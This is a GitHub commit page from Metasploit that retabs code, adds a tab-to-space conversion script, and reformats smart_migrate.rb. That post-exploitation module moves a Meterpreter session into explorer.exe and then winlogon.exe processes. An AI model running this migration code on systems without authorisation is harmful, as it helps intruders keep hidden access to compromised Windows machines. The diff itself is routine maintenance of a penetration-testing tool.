Skip to content

Commit 4bfb411

Browse files
dmaloney-r7dmaloney-r7
authored andcommitted
Merge pull request #8 from tabassassin/retab/2212
Retab rapid7#2212
2 parents c9bd791 + ebd4853 commit 4bfb411

File tree

3 files changed

+89
-44
lines changed

3 files changed

+89
-44
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,3 +40,5 @@ tags
4040
*.orig
4141
*.rej
4242
*~
43+
# Ignore backups of retabbed files
44+
*.notab

modules/post/windows/manage/smart_migrate.rb

Lines changed: 44 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -10,62 +10,62 @@
1010

1111
class Metasploit3 < Msf::Post
1212

13-
def initialize(info={})
14-
super( update_info( info,
15-
'Name' => 'Windows Manage Smart Process Migration',
16-
'Description' => %q{ This module will migrate a Meterpreter session.
17-
It will first attempt to migrate to winlogon.exe . If that fails it will
18-
then look at all of the explorer.exe processes. If there is one that exists
19-
for the user context the session is already in it will try that. Failing that it will fall back
20-
and try any other explorer.exe processes it finds},
21-
'License' => MSF_LICENSE,
22-
'Author' => [ 'thelightcosine'],
23-
'Platform' => [ 'win' ],
24-
'SessionTypes' => [ 'meterpreter' ]
25-
))
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Windows Manage Smart Process Migration',
16+
'Description' => %q{ This module will migrate a Meterpreter session.
17+
It will first attempt to migrate to winlogon.exe . If that fails it will
18+
then look at all of the explorer.exe processes. If there is one that exists
19+
for the user context the session is already in it will try that. Failing that it will fall back
20+
and try any other explorer.exe processes it finds},
21+
'License' => MSF_LICENSE,
22+
'Author' => [ 'thelightcosine'],
23+
'Platform' => [ 'win' ],
24+
'SessionTypes' => [ 'meterpreter' ]
25+
))
2626

2727

28-
end
28+
end
2929

30-
def run
31-
server = client.sys.process.open
32-
original_pid = server.pid
33-
print_status("Current server process: #{server.name} (#{server.pid})")
30+
def run
31+
server = client.sys.process.open
32+
original_pid = server.pid
33+
print_status("Current server process: #{server.name} (#{server.pid})")
3434

35-
uid = client.sys.config.getuid
35+
uid = client.sys.config.getuid
3636

37-
processes = client.sys.process.get_processes
37+
processes = client.sys.process.get_processes
3838

39-
uid_explorer_procs = []
40-
explorer_procs = []
41-
winlogon_procs = []
42-
processes.each do |proc|
43-
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
44-
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
45-
winlogon_procs << proc if proc['name'] == "winlogon.exe"
46-
end
39+
uid_explorer_procs = []
40+
explorer_procs = []
41+
winlogon_procs = []
42+
processes.each do |proc|
43+
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
44+
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
45+
winlogon_procs << proc if proc['name'] == "winlogon.exe"
46+
end
4747

4848
print_status "Attempting to move into explorer.exe for current user..."
49-
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
49+
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
5050
print_status "Attempting to move into explorer.exe for other users..."
51-
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
51+
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
5252
print_status "Attempting to move into winlogon.exe"
5353
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
5454

55-
print_error "Was unable to sucessfully migrate into any of our likely candidates"
56-
end
55+
print_error "Was unable to sucessfully migrate into any of our likely candidates"
56+
end
5757

5858

59-
def attempt_migration(target_pid)
60-
begin
61-
print_good("Migrating to #{target_pid}")
62-
client.core.migrate(target_pid)
63-
print_good("Successfully migrated to process #{}")
64-
return true
65-
rescue ::Exception => e
66-
print_error("Could not migrate in to process.")
67-
print_error(e.to_s)
68-
return false
69-
end
70-
end
59+
def attempt_migration(target_pid)
60+
begin
61+
print_good("Migrating to #{target_pid}")
62+
client.core.migrate(target_pid)
63+
print_good("Successfully migrated to process #{}")
64+
return true
65+
rescue ::Exception => e
66+
print_error("Could not migrate in to process.")
67+
print_error(e.to_s)
68+
return false
69+
end
70+
end
7171
end

tools/dev/retab.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#!/usr/bin/env ruby
2+
# -*- coding: binary -*-
3+
4+
# Replace leading tabs with 2-width spaces.
5+
# I'm sure there's a sed/awk/perl oneliner that's
6+
# a million times better but this is more readable for me.
7+
8+
require 'fileutils'
9+
require 'find'
10+
11+
dir = ARGV[0] || "."
12+
raise ArgumentError, "Need a filename or directory" unless (dir and File.readable? dir)
13+
14+
Find.find(dir) do |infile|
15+
next unless File.file? infile
16+
next unless infile =~ /rb$/
17+
outfile = infile
18+
backup = "#{infile}.notab"
19+
FileUtils.cp infile, backup
20+
21+
data = File.open(infile, "rb") {|f| f.read f.stat.size}
22+
fixed = []
23+
data.each_line do |line|
24+
fixed << line
25+
next unless line =~ /^\x09/
26+
index = []
27+
i = 0
28+
line.each_char do |char|
29+
break unless char =~ /[\x20\x09]/
30+
index << i if char == "\x09"
31+
i += 1
32+
end
33+
index.reverse.each do |idx|
34+
line[idx] = " "
35+
end
36+
fixed[-1] = line
37+
end
38+
39+
fh = File.open(outfile, "wb")
40+
fh.write fixed.join
41+
fh.close
42+
puts "Retabbed #{fh.path}"
43+
end

0 commit comments

Comments
 (0)